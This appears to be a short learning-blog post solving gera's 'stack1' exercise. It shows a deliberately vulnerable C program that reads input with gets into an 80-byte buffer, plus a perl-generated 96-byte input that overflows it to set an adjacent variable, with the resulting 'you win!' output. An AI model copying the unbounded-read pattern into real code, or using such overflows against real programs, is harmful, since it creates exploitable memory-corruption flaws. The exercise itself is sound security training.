WARMING UP on STACK: stack1.c

I've been supplementing my reading of Gray Hat Hacking, Second Edition: The Ethical Hacker's Handbook with gera's Insecure Programming by example.

/* stack1.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ echo "DCBA" >> of

$ stack1 < of
buf: bffff4b0 cookie: bffff50c
you win!